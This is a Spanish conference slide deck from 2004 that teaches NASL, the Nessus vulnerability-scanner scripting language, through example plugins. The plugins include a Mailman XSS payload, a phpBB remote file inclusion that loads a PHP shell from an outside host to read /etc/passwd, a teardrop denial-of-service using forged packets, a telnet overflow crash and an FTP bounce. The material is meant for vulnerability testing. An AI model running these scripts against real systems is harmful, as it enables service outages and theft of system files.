FIST Conference Abril 2004




           NASL
lenguaje de desarrollo de exploits

      Rafael San Miguel Carrasco
FIST Conference Abril 2004


Tareas típicas del exploit dev :

• escribir las cabeceras de un datagrama IP
• implementar un diálogo HTTP
• capturar y procesar paquetes en modo
  promiscuo
• existencia de un fichero en un servidor
• comprobación de desbordamientos
FIST Conference Abril 2004


Contenido:

1)   NASL, Nessus, Knowledge Base
2)   Sintaxis del lenguaje NASL
3)   Librería de funciones
4)   Ejemplos de programación
5)   Consideraciones finales
FIST Conference Abril 2004


    Nessus:

•   Escáner de vulnerabilidades
•   Libre distribución
•   Entornos UNIX
•   www.nessus.org
•   Para ampliar su capacidad: NASL

NASL = Nessus Attack Scripting Language
FIST Conference Abril 2004


 Modelo cliente / servidor:
nessus


           nessusd      host   host   host
nessus


nessus
FIST Conference Abril 2004


Lanzamos el cliente Nessus:
FIST Conference Abril 2004


Selección de plugins:
FIST Conference Abril 2004


Fijamos algunas opciones:
FIST Conference Abril 2004


Rango de direcciones IP:
FIST Conference Abril 2004


Iniciamos el scan:
FIST Conference Abril 2004


Informe de vulnerabilidades:
FIST Conference Abril 2004


    Intérprete NASL:

•   nasl –t 192.168.0.128 script.nasl
•   previamente lanzamos nessusd
•   sólo direcciones IP permitidas
•   políticas: nessusd.rules y nessusd.users
FIST Conference Abril 2004


    Intérprete NASL:

•   nasl –t 192.168.0.128 script.nasl
•   previamente lanzamos nessusd
•   sólo direcciones IP permitidas
•   políticas: nessusd.rules y nessusd.users
FIST Conference Abril 2004


plugin malicioso:
nessus
            script malicioso

                nessusd            host    host     host
nessus


nessus

                        reporte de vulnerabilidad


 atacante
FIST Conference Abril 2004


Otra restricción:

• NASL no permite la ejecución de comandos
  locales



• No puede utilizarse para escribir exploits
  de ámbito local
FIST Conference Abril 2004


    Knowledge Base:

•   base de datos para cada host
•   datos relevantes para los scripts
•   set_kb_item ()
•   get_kb_item ()
FIST Conference Abril 2004


    Atributos de la clase Services:

•   Services/www
•   Services/ftp
•   Services/http_proxy
•   Services/imap
•   ...
FIST Conference Abril 2004


 Atributos de la clase Host:

• Host/OS
• Host/dead
   • modificado por scripts de ataques DoS
FIST Conference Abril 2004


    Otros atributos:

•   ftp/anonymous
•   www/frontpage
•   rpc/bootparamd
•   bind/version
•   ftp/root_via_cwd
•   ...
FIST Conference Abril 2004


    Sintaxis: estructuras de control

•   if (condición) { instr.} else { instr. }
•   for (inic; condición; instr) { instr. }
•   while (condición) { instr. }
•   foreach elemento (array) { instr. }
•   repeat { instr. } until (condición);
•   operador x:
        • send_packet (udp) x 30
FIST Conference Abril 2004


 Sintaxis: tipos de datos

• No se manejan explícitamente (Perl)
• Asignaciones:

   •   a = 100;
   •   nombre = “Rafael”;
   •   bytes = raw_string (0x41, 0x01, 0xFF);

• ¡No hay estructuras de datos!
FIST Conference Abril 2004


    Sintaxis: arrays

•   a [1] = 450;
•   b = “cadena”;
•   if (b [2] == “a”)
•   if (a [1] == 450)
•   Caso 1 : b [2] = “o”;
•   Caso 2 : b = insstr (b, “o”, 1, 1);
FIST Conference Abril 2004


 Sintaxis: funciones

• posibilidad de definir funciones
• existen limitaciones en la llamada a las
  funciones definidas por el programador
• sintaxis:
      function suma (a, b)
      {      instr.
             return (valor);
      }
FIST Conference Abril 2004


 Sintaxis: funciones no anónimas

• no importa el orden y número de argumentos
  especificados en la llamada
• debe indicarse el nombre de los argumentos:
      send (data: “hola”, socket: s);
• si faltan datos: se solicitan en tiempo de
 ejecución
FIST Conference Abril 2004


    Librería de funciones: clasificación

•   manipulación de cadenas
•   sockets
•   raw sockets
•   protocolos http, ftp, telnet
•   funciones criptográficas
•   funciones “vínculo” con Nessus
FIST Conference Abril 2004


 Funciones: manipulación de cadenas

• operadores ==, <, >
• operador ><
      • if (“Access denied” >< respuesta)
• ereg () y egrep () para pattern matching
• crap : para testear desbordamientos
      • crap (length: 1000, data: “bla”);
FIST Conference Abril 2004


    Funciones: sockets

•   send (), recv () sin dirección IP destino
•   recv_line (socket: s, length: 100, timeout: 5);
•   get_port_state (port)
•   tcp_ping ()
•   open_priv_sock_udp (srcport, dstport)

• flag MSG_OOB en send () ¿Por qué?
FIST Conference Abril 2004


Funciones: raw sockets

• protocolos soportados:
      ICMP, IGMP, TCP, UDP, IP
• funciones forge_X_packet ()
• pcap_next ()
• funciones get_X_elements ()
• insert_ip_options ()
• send_packet ()
FIST Conference Abril 2004


    Funciones: http, ftp, telnet
•   ftp_log_in (usuario, password)
•   telnet_init ()
•   http_get (), http_post (), http_head (), ...
•   is_cgi_installed (“/cgi-bin/search.cgi”)
•   cgi_dirs ()
        http_get (port: 80, item: “/cgi-bin/search.cgi”,
                  data: “query=hola”);

       ¡No podemos simular servidores!
FIST Conference Abril 2004


Funciones: criptográficas

• digests MD2, MD4, MD5
• digest SHA-1
• digest cifrado HMAC
  HMAC_DSS, HMAC_MD2, HMAC_MD4,
  HMAC_MD5, HMAC_RIPEMD160, ...
FIST Conference Abril 2004


    Funciones: integración con Nessus

•   script_category ()
•   script_family ()
•   script_bugtraq_id ()
•   script_cve_id ()
•   script_dependencies ()
FIST Conference Abril 2004


Funciones: integración con Nessus

• security_hole (descr., puerto)
• security_warning (descr., puerto)
• security_note (descr., puerto)
FIST Conference Abril 2004


Ejemplo: XSS en Mailman

Pasos:
  • comprobar la existencia del script
    vulnerable
  • enviar petición GET con código
    HTML/Javascript
  • comprobar respuesta del servidor
FIST Conference Abril 2004


Ejemplo: XSS en Mailman
puerto = 80;
cadena = "<script>alert(document.domain)</script>";
url = "/cgi-bin/listinfo";

display ("nMailman XSS bug testn--------------------n");

if (is_cgi_installed (url, puerto) ) {

               display ("info: listinfo existe en la version de mailman instaladan");

               socket = open_sock_tcp (puerto);
               peticion = http_get (item : "/cgi-bin/listinfo/" + cadena, port : puerto);
               rsend = send (socket : socket, data : peticion);
               rrecv = recv (socket : socket, length : 32000);
               close(socket);
FIST Conference Abril 2004


Ejemplo: XSS en Mailman
if (cadena >< rrecv)
             {
                           display ("info: esta version de mailman es vulnerable a XSSnn");
             } else {
                           display ("info: version NO vulnerable de mailmannn");
             }

             return (0);
}

display ("mailman no esta instalado en el servidornn");
FIST Conference Abril 2004


Ejemplo: XSS en Mailman
FIST Conference Abril 2004


Ejemplo: XSS en Mailman

Integración con Nessus:
  • bloque if : registro en nessusd
  if(description)
         {

         script_name(english:"Mailman XSS bug test");
         script_description(english:"Comprobación del fallo de XSS en Mailman");
         script_summary(english:“Petición GET con código HTML/JavaScript");
         script_category(ACT_ATTACK); script_family(english:"Misc.");
         script_copyright(english:"Rafael San Miguel Carrasco");
         exit(0);

         }
FIST Conference Abril 2004


Ejemplo: XSS en Mailman

Integración con Nessus:
  • notificación a Nessus
     if (cadena >< rrecv)
     {
                  report = “Mailman es vulnerable a XSS";
                  security_hole (port: 80, data:report);
     }


  • copiamos el .nasl /usr/lib/nessus/plugins
  • relanzamos nessusd
FIST Conference Abril 2004


Ejemplo: Inserción PHP en phpBB

• servidor web propio
• shell PHP de www.planet-source-code.com

   <php passthru (‘cat /etc/passwd’) ?>
FIST Conference Abril 2004


Ejemplo: Inserción PHP en phpBB

Pasos:
  • comprobar la existencia del PHP
    vulnerable
  • enviar petición GET con parámetros
    adecuados
  • verificar que en la respuesta del servidor
    aparece la cadena “root”
FIST Conference Abril 2004


Ejemplo: Inserción PHP en phpBB
puerto = 80;
cadena = "phpbb_root_path=http://www.soluciones-seguras.com/&phpEx=php";
url = "/album_portal.php";

display ("nphpBB Modified Insertion Bug Testn---------------------------n");

if (is_cgi_installed (url, puerto) ) {
     display ("info: phpBB esta instalado en el servidor n");

     socket = open_sock_tcp (puerto);
     peticion = http_get (item : url + "?" + cadena, port : puerto);
     rsend = send (socket : socket, data : peticion);
     rrecv = recv (socket : socket, length : 32000);
     close(socket);
FIST Conference Abril 2004


Ejemplo: Inserción PHP en phpBB
    if ("root" >< rrecv)
    {
           display ("info: se ha conseguido el fichero /etc/passwd del servidorn");
                             # pattern matching
              display (egrep (pattern: "^root*", string: rrecv) );
              display ("nn");

    } else {
          display ("info: la version no es vulnerablenn");
    }

    return (0);
}
FIST Conference Abril 2004


Ejemplo: Inserción PHP en phpBB
FIST Conference Abril 2004


Ejemplo: Inserción PHP en phpBB

Integración con Nessus:
  • bloque if de registro en nessusd
  • llamada a security_hole () si el ataque
    tiene éxito
  • copiamos el .nasl /usr/lib/nessus/plugins
  • relanzamos nessusd
FIST Conference Abril 2004


Ejemplo: teardrop

• ataque DoS que afecta a los stacks
  TCP/IP de algunos sistemas operativos
• fallo en el algoritmo de ensamblado
• implementación del exploit:
       • datagrama UDP 1:
           • payload N bytes, offset 0, MF on
      • datagrama UDP 2:
          •   payload < N, offset < N, MF off
FIST Conference Abril 2004


Ejemplo: teardrop
MAGIC = 2;
IPH = 20;
UDPH = 8;
PADDING = 0x1c;
MAGIC = 0x3;
IP_ID = 242;
sport = 123;
dport = 137;

LEN = IPH + UDPH + PADDING;

src = this_host();
ip = forge_ip_packet(ip_v : 4,
                                 ip_hl : 5, ip_tos : 0, ip_id : IP_ID, ip_len : LEN,
                                 ip_off : IP_MF, ip_p : IPPROTO_UDP, ip_src : src,
                                 ip_ttl : 0x40);
FIST Conference Abril 2004


Ejemplo: teardrop
LEN = UDPH + PADDING;
udp1 = forge_udp_packet(ip : ip, uh_sport : sport, uh_dport : dport, uh_len : LEN);

LEN = IPH + MAGIC + 1;
set_ip_elements(ip: ip, ip_len : LEN, ip_off : MAGIC);

LEN = UDPH + PADDING;
udp2 = forge_udp_packet(ip : ip, uh_sport : sport, uh_dport : dport, uh_len : LEN);

start_denial();
send_packet(udp1,udp2, pcap_active:FALSE) x 500;
alive = end_denial();

if(!alive) {
               set_kb_item(name:"Host/dead", value:TRUE);
               security_hole(0);
}
FIST Conference Abril 2004


Ejemplo: overflow en BFTelnet
•   nombre de usuario muy largo
•   provoca la caída del servicio telnet
•   fallo típico de muchos otros servidores
    (ftp, pop3, ...)
FIST Conference Abril 2004


Ejemplo: overflow en BFTelnet
port = get_kb_item ("Services/telnet");
if (!port) port = 23;
if (get_port_state(port)) {

             soc = open_sock_tcp(port);
             if (soc) {
                         banner = telnet_init(soc);
                         banner = string(banner, recv(socket:soc, length:1000));
                         data = string(crap(4000), "rn");
                         send(socket:soc, data:data);
                         close(soc);

                           soc2 = open_sock_tcp(port);
                           if(!soc2)
                                       security_warning(port);
             }
}
FIST Conference Abril 2004


Ejemplo: ftp bouncing
• comando PORT para conexión de datos
  (protocolo FTP)
• posibilidad de iniciar una conexión con
  host arbitrario
• utilidad:
        • port scanning
        • bypass de las reglas de un firewall
FIST Conference Abril 2004


Ejemplo: ftp bouncing
port = get_kb_item("Services/ftp");
if(!port)port = 21;

login = get_kb_item("ftp/login");
password = get_kb_item("ftp/password");

if (login) {
    soc = open_sock_tcp(port);
    if(soc) {
              if(ftp_log_in(socket:soc, user:login, pass:password)) {
                              command = string("PORT 66,88,91,109,0,21n");
                              send(socket:soc, data:command);
                              code = recv(socket:soc, length:4);
                              if(code == "200 ") security_hole(port);
               }
              close(soc);
     }
}
FIST Conference Abril 2004


Consideraciones finales:

• soporte multilenguaje
   name["english"] = "BFTelnet DoS";
   name["francais"]= "Déni de service contre BFTelnet";
   script_name(english:name["english"],
               francais:name["francais"]);

• forking automático y transparente
      ejemplo: dos puertos telnet
FIST Conference Abril 2004


Detección de WAPs con NASL:
www.tenablesecurity.com/white_papers/wap-id-nessus.pdf


Más información sobre NASL y Nessus:
www.nessus.org/documentation.html

Estas transparencias:
www.soluciones-seguras.com
www.fistconference.org
FIST Conference Abril 2004


Nuestra empresa: Soluciones Seguras
FIST Conference Abril 2004




¡Muchas gracias por venir!

Más contenido relacionado

PDF
Rooted2020 A clockwork pentester - Jose Carlos Moral & Alvaro Villaverde
PDF
Lw2010 - Uso De La Programacion En Linux Para La Seguridad En Redes
PDF
Javier Marcos - Detección de amenazas a escala con osquery [rooted2019]
PPT
Abel Valero - VM + VFS = The Wooden Horse [rooted2018]
PDF
Manuel Blanco - GNU/Linux Binary Exploitation I&II [rooted2018]
PPTX
Seguridad en i pv6 (2)
Rooted2020 A clockwork pentester - Jose Carlos Moral & Alvaro Villaverde
Lw2010 - Uso De La Programacion En Linux Para La Seguridad En Redes
Javier Marcos - Detección de amenazas a escala con osquery [rooted2019]
Abel Valero - VM + VFS = The Wooden Horse [rooted2018]
Manuel Blanco - GNU/Linux Binary Exploitation I&II [rooted2018]
Seguridad en i pv6 (2)

La actualidad más candente (19)

PDF
José Selvi - Unprivileged Network Post-Exploitation [RootedCON 2011]
PPTX
Rooted2020 taller de-reversing_de_binarios_escritos_en_golang_-_mariano_palom...
PDF
rooted2020-Rootkit necurs no_es_un_bug,_es_una_feature_-_roberto_santos_-_jav...
PDF
rooted2020 Sandbox fingerprinting -_evadiendo_entornos_de_analisis_-_victor_c...
PDF
José Ramón Palanco - NoSQL Security [RootedCON 2011]
PDF
Técnicas de escaneo masivo - 11/2013
PPTX
CPMX5 - Hacking like a boss por Roberto Salgado
PDF
I Know Your P4$$w0rd (And If I Don't, I Will Guess It...)
PDF
Taller: Exploración de redes con Nmap
PDF
Mariano Palomo - Taller de reversing en sistemas Windows aplicado a CTFs [ro...
PDF
Gabriel Gonzalez - Man-In-Remote: PKCS11 for fun and non-profit [RootedCON 2011]
PDF
Alfonso Muñoz - Reviving Homograph attacks using (deep learning) steroids [ro...
ODP
Jaime Peñalba - Como defenderse en terreno hostil: Protecciones para la Defco...
PDF
Linux basico-6.PDF
PPTX
Javier Saez - Una panorámica sobre la seguridad en entornos web [rootedvlc2]
PDF
Pentesting 101 por Paulino Calderon
PDF
Lorenzo Martínez - Linux DFIR: My Way! [rooted2019]
PDF
Kali linux guia español
PPTX
Pablo sanemeteriovalencia
José Selvi - Unprivileged Network Post-Exploitation [RootedCON 2011]
Rooted2020 taller de-reversing_de_binarios_escritos_en_golang_-_mariano_palom...
rooted2020-Rootkit necurs no_es_un_bug,_es_una_feature_-_roberto_santos_-_jav...
rooted2020 Sandbox fingerprinting -_evadiendo_entornos_de_analisis_-_victor_c...
José Ramón Palanco - NoSQL Security [RootedCON 2011]
Técnicas de escaneo masivo - 11/2013
CPMX5 - Hacking like a boss por Roberto Salgado
I Know Your P4$$w0rd (And If I Don't, I Will Guess It...)
Taller: Exploración de redes con Nmap
Mariano Palomo - Taller de reversing en sistemas Windows aplicado a CTFs [ro...
Gabriel Gonzalez - Man-In-Remote: PKCS11 for fun and non-profit [RootedCON 2011]
Alfonso Muñoz - Reviving Homograph attacks using (deep learning) steroids [ro...
Jaime Peñalba - Como defenderse en terreno hostil: Protecciones para la Defco...
Linux basico-6.PDF
Javier Saez - Una panorámica sobre la seguridad en entornos web [rootedvlc2]
Pentesting 101 por Paulino Calderon
Lorenzo Martínez - Linux DFIR: My Way! [rooted2019]
Kali linux guia español
Pablo sanemeteriovalencia
Publicidad

Destacado (8)

PDF
Network Access Protection
PDF
Seguridad en Windows Mobile
PDF
Que es Seguridad
PDF
Seguridad en Open Solaris
PDF
Seguridad en Entornos Web Open Source
PDF
Spanish Honeynet Project
PDF
SAP Security
PDF
Las Evidencias Digitales en la Informática Forense
Network Access Protection
Seguridad en Windows Mobile
Que es Seguridad
Seguridad en Open Solaris
Seguridad en Entornos Web Open Source
Spanish Honeynet Project
SAP Security
Las Evidencias Digitales en la Informática Forense
Publicidad

Similar a NASL (20)

PPT
Sistemas Honeynet
PPT
Modulos de Seguridad en Servidores Web
PDF
Seguridad: Ataque Unicode Solución
PDF
Network.Penetration.CGSOL
PDF
Lord Epsylon - XSSer: the cross site scripting framework [RootedCON 2012]
PDF
Lw2010 Pedro Valera
PDF
Resolución de concursos de la NoConName 2010 v1.0
PDF
Scripting para Pentesters v1.0
PDF
Miranda yesenia tarea3
PPT
Proteccion Contra Hacking con Google
PDF
Prevencion ante ataques XSS - Betabeers Córdoba (29/11/2012)
PDF
Vc4 nm73 eq#4-w8,u5,t4
PDF
Protocolos FTP y SFTP
DOCX
Servidor web para linux
PPTX
VC4NM73 EQ#4-W8,U5,T4
PPTX
Servidor Web Apache para Linux
PPT
Seguridad informatica
PPT
Seguridad informatica
PPT
Seguridad informatica
PPT
Seguridad informatica
Sistemas Honeynet
Modulos de Seguridad en Servidores Web
Seguridad: Ataque Unicode Solución
Network.Penetration.CGSOL
Lord Epsylon - XSSer: the cross site scripting framework [RootedCON 2012]
Lw2010 Pedro Valera
Resolución de concursos de la NoConName 2010 v1.0
Scripting para Pentesters v1.0
Miranda yesenia tarea3
Proteccion Contra Hacking con Google
Prevencion ante ataques XSS - Betabeers Córdoba (29/11/2012)
Vc4 nm73 eq#4-w8,u5,t4
Protocolos FTP y SFTP
Servidor web para linux
VC4NM73 EQ#4-W8,U5,T4
Servidor Web Apache para Linux
Seguridad informatica
Seguridad informatica
Seguridad informatica
Seguridad informatica

Más de Conferencias FIST (20)

PDF
Evolución y situación actual de la seguridad en redes WiFi
PDF
El Information Security Forum
PDF
Criptografia Cuántica
PDF
Inseguridad en Redes Wireless
PDF
Mas allá de la Concienciación
PDF
Security Metrics
PDF
PKI Interoperability
PDF
Wifislax 3.1
PDF
Network Forensics
PDF
Riesgo y Vulnerabilidades en el Desarrollo
PDF
Demostracion Hacking Honeypot y Análisis Forense
PDF
Security Maturity Model
PDF
Cisco Equipment Security
PDF
IDS with Artificial Intelligence
PDF
Continuidad de Negocio
PDF
Malware RADA
PDF
Esteganografia
PDF
Gestión de Riesgos
PDF
Seguridad Windows Server 2008
Evolución y situación actual de la seguridad en redes WiFi
El Information Security Forum
Criptografia Cuántica
Inseguridad en Redes Wireless
Mas allá de la Concienciación
Security Metrics
PKI Interoperability
Wifislax 3.1
Network Forensics
Riesgo y Vulnerabilidades en el Desarrollo
Demostracion Hacking Honeypot y Análisis Forense
Security Maturity Model
Cisco Equipment Security
IDS with Artificial Intelligence
Continuidad de Negocio
Malware RADA
Esteganografia
Gestión de Riesgos
Seguridad Windows Server 2008

Último (20)

PDF
Documental Beyond the Code (Dossier Presentación - 2.0)
PDF
Final Tecno .pdfjdhdjsjdhsjshshhshshshhshhhhhhh
PPTX
Presentación final ingenieria de metodos
DOCX
TRABAJO GRUPAL (5) (1).docxsjsjskskksksksks
PDF
Guía_de_implementación_Marco_de_gobierno_y_gestión_de_TI_Universidades.pdf
PPTX
El uso de las TIC en la vida cotidiana..
PDF
CONTABILIDAD Y TRIBUTACION, EJERCICIO PRACTICO
PPTX
CLAASIFICACIÓN DE LOS ROBOTS POR UTILIDAD
PDF
capacitación de aire acondicionado Bgh r 410
PPTX
Reconocimiento-Automatico-de-Placas-Vehiculares-con-IA.pptx
PPTX
Uso responsable de la tecnología - EEST N°1
PDF
0007_PPT_DefinicionesDeDataMining_201_v1-0.pdf
PPTX
Sistema de Gestión Integral TCA Ingenieros.pptx
PDF
MANUAL de recursos humanos para ODOO.pdf
DOCX
Guía 5. Test de orientación Vocacional 2.docx
PPTX
Diapositivas Borrador Rocha Jauregui David Paolo (3).pptx
PPTX
Tema 1 Taller de tecnologia y proceso tecnologico.pptx
PDF
Teoría de estadística descriptiva y aplicaciones .pdf
PDF
Taller tecnológico Michelle lobo Velasquez
DOCX
TRABAJO GRUPAL (5) (1).docxjesjssjsjjskss
Documental Beyond the Code (Dossier Presentación - 2.0)
Final Tecno .pdfjdhdjsjdhsjshshhshshshhshhhhhhh
Presentación final ingenieria de metodos
TRABAJO GRUPAL (5) (1).docxsjsjskskksksksks
Guía_de_implementación_Marco_de_gobierno_y_gestión_de_TI_Universidades.pdf
El uso de las TIC en la vida cotidiana..
CONTABILIDAD Y TRIBUTACION, EJERCICIO PRACTICO
CLAASIFICACIÓN DE LOS ROBOTS POR UTILIDAD
capacitación de aire acondicionado Bgh r 410
Reconocimiento-Automatico-de-Placas-Vehiculares-con-IA.pptx
Uso responsable de la tecnología - EEST N°1
0007_PPT_DefinicionesDeDataMining_201_v1-0.pdf
Sistema de Gestión Integral TCA Ingenieros.pptx
MANUAL de recursos humanos para ODOO.pdf
Guía 5. Test de orientación Vocacional 2.docx
Diapositivas Borrador Rocha Jauregui David Paolo (3).pptx
Tema 1 Taller de tecnologia y proceso tecnologico.pptx
Teoría de estadística descriptiva y aplicaciones .pdf
Taller tecnológico Michelle lobo Velasquez
TRABAJO GRUPAL (5) (1).docxjesjssjsjjskss

NASL

  • 1. FIST Conference Abril 2004 NASL lenguaje de desarrollo de exploits Rafael San Miguel Carrasco
  • 2. FIST Conference Abril 2004 Tareas típicas del exploit dev : • escribir las cabeceras de un datagrama IP • implementar un diálogo HTTP • capturar y procesar paquetes en modo promiscuo • existencia de un fichero en un servidor • comprobación de desbordamientos
  • 3. FIST Conference Abril 2004 Contenido: 1) NASL, Nessus, Knowledge Base 2) Sintaxis del lenguaje NASL 3) Librería de funciones 4) Ejemplos de programación 5) Consideraciones finales
  • 4. FIST Conference Abril 2004 Nessus: • Escáner de vulnerabilidades • Libre distribución • Entornos UNIX • www.nessus.org • Para ampliar su capacidad: NASL NASL = Nessus Attack Scripting Language
  • 5. FIST Conference Abril 2004 Modelo cliente / servidor: nessus nessusd host host host nessus nessus
  • 6. FIST Conference Abril 2004 Lanzamos el cliente Nessus:
  • 7. FIST Conference Abril 2004 Selección de plugins:
  • 8. FIST Conference Abril 2004 Fijamos algunas opciones:
  • 9. FIST Conference Abril 2004 Rango de direcciones IP:
  • 10. FIST Conference Abril 2004 Iniciamos el scan:
  • 11. FIST Conference Abril 2004 Informe de vulnerabilidades:
  • 12. FIST Conference Abril 2004 Intérprete NASL: • nasl –t 192.168.0.128 script.nasl • previamente lanzamos nessusd • sólo direcciones IP permitidas • políticas: nessusd.rules y nessusd.users
  • 13. FIST Conference Abril 2004 Intérprete NASL: • nasl –t 192.168.0.128 script.nasl • previamente lanzamos nessusd • sólo direcciones IP permitidas • políticas: nessusd.rules y nessusd.users
  • 14. FIST Conference Abril 2004 plugin malicioso: nessus script malicioso nessusd host host host nessus nessus reporte de vulnerabilidad atacante
  • 15. FIST Conference Abril 2004 Otra restricción: • NASL no permite la ejecución de comandos locales • No puede utilizarse para escribir exploits de ámbito local
  • 16. FIST Conference Abril 2004 Knowledge Base: • base de datos para cada host • datos relevantes para los scripts • set_kb_item () • get_kb_item ()
  • 17. FIST Conference Abril 2004 Atributos de la clase Services: • Services/www • Services/ftp • Services/http_proxy • Services/imap • ...
  • 18. FIST Conference Abril 2004 Atributos de la clase Host: • Host/OS • Host/dead • modificado por scripts de ataques DoS
  • 19. FIST Conference Abril 2004 Otros atributos: • ftp/anonymous • www/frontpage • rpc/bootparamd • bind/version • ftp/root_via_cwd • ...
  • 20. FIST Conference Abril 2004 Sintaxis: estructuras de control • if (condición) { instr.} else { instr. } • for (inic; condición; instr) { instr. } • while (condición) { instr. } • foreach elemento (array) { instr. } • repeat { instr. } until (condición); • operador x: • send_packet (udp) x 30
  • 21. FIST Conference Abril 2004 Sintaxis: tipos de datos • No se manejan explícitamente (Perl) • Asignaciones: • a = 100; • nombre = “Rafael”; • bytes = raw_string (0x41, 0x01, 0xFF); • ¡No hay estructuras de datos!
  • 22. FIST Conference Abril 2004 Sintaxis: arrays • a [1] = 450; • b = “cadena”; • if (b [2] == “a”) • if (a [1] == 450) • Caso 1 : b [2] = “o”; • Caso 2 : b = insstr (b, “o”, 1, 1);
  • 23. FIST Conference Abril 2004 Sintaxis: funciones • posibilidad de definir funciones • existen limitaciones en la llamada a las funciones definidas por el programador • sintaxis: function suma (a, b) { instr. return (valor); }
  • 24. FIST Conference Abril 2004 Sintaxis: funciones no anónimas • no importa el orden y número de argumentos especificados en la llamada • debe indicarse el nombre de los argumentos: send (data: “hola”, socket: s); • si faltan datos: se solicitan en tiempo de ejecución
  • 25. FIST Conference Abril 2004 Librería de funciones: clasificación • manipulación de cadenas • sockets • raw sockets • protocolos http, ftp, telnet • funciones criptográficas • funciones “vínculo” con Nessus
  • 26. FIST Conference Abril 2004 Funciones: manipulación de cadenas • operadores ==, <, > • operador >< • if (“Access denied” >< respuesta) • ereg () y egrep () para pattern matching • crap : para testear desbordamientos • crap (length: 1000, data: “bla”);
  • 27. FIST Conference Abril 2004 Funciones: sockets • send (), recv () sin dirección IP destino • recv_line (socket: s, length: 100, timeout: 5); • get_port_state (port) • tcp_ping () • open_priv_sock_udp (srcport, dstport) • flag MSG_OOB en send () ¿Por qué?
  • 28. FIST Conference Abril 2004 Funciones: raw sockets • protocolos soportados: ICMP, IGMP, TCP, UDP, IP • funciones forge_X_packet () • pcap_next () • funciones get_X_elements () • insert_ip_options () • send_packet ()
  • 29. FIST Conference Abril 2004 Funciones: http, ftp, telnet • ftp_log_in (usuario, password) • telnet_init () • http_get (), http_post (), http_head (), ... • is_cgi_installed (“/cgi-bin/search.cgi”) • cgi_dirs () http_get (port: 80, item: “/cgi-bin/search.cgi”, data: “query=hola”); ¡No podemos simular servidores!
  • 30. FIST Conference Abril 2004 Funciones: criptográficas • digests MD2, MD4, MD5 • digest SHA-1 • digest cifrado HMAC HMAC_DSS, HMAC_MD2, HMAC_MD4, HMAC_MD5, HMAC_RIPEMD160, ...
  • 31. FIST Conference Abril 2004 Funciones: integración con Nessus • script_category () • script_family () • script_bugtraq_id () • script_cve_id () • script_dependencies ()
  • 32. FIST Conference Abril 2004 Funciones: integración con Nessus • security_hole (descr., puerto) • security_warning (descr., puerto) • security_note (descr., puerto)
  • 33. FIST Conference Abril 2004 Ejemplo: XSS en Mailman Pasos: • comprobar la existencia del script vulnerable • enviar petición GET con código HTML/Javascript • comprobar respuesta del servidor
  • 34. FIST Conference Abril 2004 Ejemplo: XSS en Mailman puerto = 80; cadena = "<script>alert(document.domain)</script>"; url = "/cgi-bin/listinfo"; display ("nMailman XSS bug testn--------------------n"); if (is_cgi_installed (url, puerto) ) { display ("info: listinfo existe en la version de mailman instaladan"); socket = open_sock_tcp (puerto); peticion = http_get (item : "/cgi-bin/listinfo/" + cadena, port : puerto); rsend = send (socket : socket, data : peticion); rrecv = recv (socket : socket, length : 32000); close(socket);
  • 35. FIST Conference Abril 2004 Ejemplo: XSS en Mailman if (cadena >< rrecv) { display ("info: esta version de mailman es vulnerable a XSSnn"); } else { display ("info: version NO vulnerable de mailmannn"); } return (0); } display ("mailman no esta instalado en el servidornn");
  • 36. FIST Conference Abril 2004 Ejemplo: XSS en Mailman
  • 37. FIST Conference Abril 2004 Ejemplo: XSS en Mailman Integración con Nessus: • bloque if : registro en nessusd if(description) { script_name(english:"Mailman XSS bug test"); script_description(english:"Comprobación del fallo de XSS en Mailman"); script_summary(english:“Petición GET con código HTML/JavaScript"); script_category(ACT_ATTACK); script_family(english:"Misc."); script_copyright(english:"Rafael San Miguel Carrasco"); exit(0); }
  • 38. FIST Conference Abril 2004 Ejemplo: XSS en Mailman Integración con Nessus: • notificación a Nessus if (cadena >< rrecv) { report = “Mailman es vulnerable a XSS"; security_hole (port: 80, data:report); } • copiamos el .nasl /usr/lib/nessus/plugins • relanzamos nessusd
  • 39. FIST Conference Abril 2004 Ejemplo: Inserción PHP en phpBB • servidor web propio • shell PHP de www.planet-source-code.com <php passthru (‘cat /etc/passwd’) ?>
  • 40. FIST Conference Abril 2004 Ejemplo: Inserción PHP en phpBB Pasos: • comprobar la existencia del PHP vulnerable • enviar petición GET con parámetros adecuados • verificar que en la respuesta del servidor aparece la cadena “root”
  • 41. FIST Conference Abril 2004 Ejemplo: Inserción PHP en phpBB puerto = 80; cadena = "phpbb_root_path=http://www.soluciones-seguras.com/&phpEx=php"; url = "/album_portal.php"; display ("nphpBB Modified Insertion Bug Testn---------------------------n"); if (is_cgi_installed (url, puerto) ) { display ("info: phpBB esta instalado en el servidor n"); socket = open_sock_tcp (puerto); peticion = http_get (item : url + "?" + cadena, port : puerto); rsend = send (socket : socket, data : peticion); rrecv = recv (socket : socket, length : 32000); close(socket);
  • 42. FIST Conference Abril 2004 Ejemplo: Inserción PHP en phpBB if ("root" >< rrecv) { display ("info: se ha conseguido el fichero /etc/passwd del servidorn"); # pattern matching display (egrep (pattern: "^root*", string: rrecv) ); display ("nn"); } else { display ("info: la version no es vulnerablenn"); } return (0); }
  • 43. FIST Conference Abril 2004 Ejemplo: Inserción PHP en phpBB
  • 44. FIST Conference Abril 2004 Ejemplo: Inserción PHP en phpBB Integración con Nessus: • bloque if de registro en nessusd • llamada a security_hole () si el ataque tiene éxito • copiamos el .nasl /usr/lib/nessus/plugins • relanzamos nessusd
  • 45. FIST Conference Abril 2004 Ejemplo: teardrop • ataque DoS que afecta a los stacks TCP/IP de algunos sistemas operativos • fallo en el algoritmo de ensamblado • implementación del exploit: • datagrama UDP 1: • payload N bytes, offset 0, MF on • datagrama UDP 2: • payload < N, offset < N, MF off
  • 46. FIST Conference Abril 2004 Ejemplo: teardrop MAGIC = 2; IPH = 20; UDPH = 8; PADDING = 0x1c; MAGIC = 0x3; IP_ID = 242; sport = 123; dport = 137; LEN = IPH + UDPH + PADDING; src = this_host(); ip = forge_ip_packet(ip_v : 4, ip_hl : 5, ip_tos : 0, ip_id : IP_ID, ip_len : LEN, ip_off : IP_MF, ip_p : IPPROTO_UDP, ip_src : src, ip_ttl : 0x40);
